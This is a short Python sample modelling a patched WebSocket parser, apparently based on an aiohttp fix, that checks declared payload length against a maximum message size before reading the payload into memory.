Patched code sample

import io

class WebSocketError(Exception):
    """Custom exception to represent a WebSocket protocol error."""
    pass

class PatchedWebSocketParser:
    """
    A simplified representation of the logic used to fix the vulnerability.
    The key is checking the payload length from the header *before*
    reading the payload into memory. This code is a conceptual model
    of the actual patch applied to aiohttp.
    """
    def __init__(self, max_msg_size: int = 1_048_576):
        # Corresponds to aiohttp's max_msg_size parameter (default 1MB)
        self._max_msg_size = max_msg_size
        # Buffer for fragmented websocket messages
        self._frame_payload = bytearray()

    def read_frame(self, stream: io.BytesIO):
        """
        Simulates reading a single WebSocket frame with the patched logic.
        """
        # In a real scenario, this would parse a complex binary header.
        # Here, we simulate reading an 8-byte extended payload length.
        header_data = stream.read(8)
        payload_len = int.from_bytes(header_data, 'big')

        # --- THE FIX ---
        # The vulnerability was that data could be read into a buffer before a
        # complete size check. The fix is to check the declared payload length
        # from the header against the maximum message size *before* reading the
        # payload from the stream. This check also accounts for fragmented messages
        # by including the length of any data already buffered from previous
        # continuation frames.
        if (self._max_msg_size and
                (len(self._frame_payload) + payload_len) > self._max_msg_size):
            raise WebSocketError(
                f"Message size {len(self._frame_payload) + payload_len} "
                f"exceeds configured limit {self._max_msg_size}"
            )
        # --- END OF FIX ---

        # If the check passes, proceed to read the payload. The application is
        # now protected from attempting to read an excessively large payload
        # into memory because the check above would have already failed.
        payload_data = stream.read(payload_len)
        self._frame_payload.extend(payload_data)

        # In a real implementation, a FIN bit check would determine if this
        # is the final frame. For this example, we assume it is.
        complete_message = self._frame_payload
        self._frame_payload = bytearray() # Reset for next message
        return complete_message